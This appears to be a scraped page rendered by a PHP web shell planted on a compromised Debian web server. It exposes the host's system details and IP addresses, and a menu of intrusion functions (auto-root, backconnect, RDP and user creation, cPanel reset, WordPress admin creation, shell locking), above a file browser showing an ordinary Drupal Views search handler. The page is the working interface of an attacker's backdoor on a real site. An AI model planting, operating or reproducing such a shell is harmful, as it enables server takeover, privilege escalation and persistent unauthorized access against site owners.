Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.117.119.34
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
views /
modules /
search /
[ HOME SHELL ]
Name
Size
Permission
Action
views_handler_argument_search....
3.32
KB
-rw-r--r--
views_handler_field_search_sco...
2.83
KB
-rw-r--r--
views_handler_filter_search.in...
7.2
KB
-rw-r--r--
views_handler_sort_search_scor...
1.06
KB
-rw-r--r--
views_plugin_row_search_view.i...
834
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : views_handler_field_search_score.inc
<?php /** * @file * Definition of views_handler_field_search_score. */ /** * Field handler to provide simple renderer that allows linking to a node. * * @ingroup views_field_handlers */ class views_handler_field_search_score extends views_handler_field_numeric { function option_definition() { $options = parent::option_definition(); $options['alternate_sort'] = array('default' => ''); $options['alternate_order'] = array('default' => 'asc'); return $options; } function options_form(&$form, &$form_state) { $style_options = $this->view->display_handler->get_option('style_options'); if (isset($style_options['default']) && $style_options['default'] == $this->options['id']) { $handlers = $this->view->display_handler->get_handlers('field'); $options = array('' => t('No alternate')); foreach ($handlers as $id => $handler) { $options[$id] = $handler->ui_name(); } $form['alternate_sort'] = array( '#type' => 'select', '#title' => t('Alternative sort'), '#description' => t('Pick an alternative default table sort field to use when the search score field is unavailable.'), '#options' => $options, '#default_value' => $this->options['alternate_sort'], ); $form['alternate_order'] = array( '#type' => 'select', '#title' => t('Alternate sort order'), '#options' => array('asc' => t('Ascending'), 'desc' => t('Descending')), '#default_value' => $this->options['alternate_order'], ); } parent::options_form($form, $form_state); } function query() { // Check to see if the search filter added 'score' to the table. // Our filter stores it as $handler->search_score -- and we also // need to check its relationship to make sure that we're using the same // one or obviously this won't work. foreach ($this->view->filter as $handler) { if (isset($handler->search_score) && $handler->relationship == $this->relationship) { $this->field_alias = $handler->search_score; $this->table_alias = $handler->table_alias; return; } } // Hide this field if no search filter is in place. $this->options['exclude'] = TRUE; if (!empty($this->options['alternate_sort'])) { if (isset($this->view->style_plugin->options['default']) && $this->view->style_plugin->options['default'] == $this->options['id']) { // Since the style handler initiates fields, we plug these values right into the active handler. $this->view->style_plugin->options['default'] = $this->options['alternate_sort']; $this->view->style_plugin->options['order'] = $this->options['alternate_order']; } } } function render($values) { // Only render if we exist. if (isset($this->table_alias)) { return parent::render($values); } } }
Close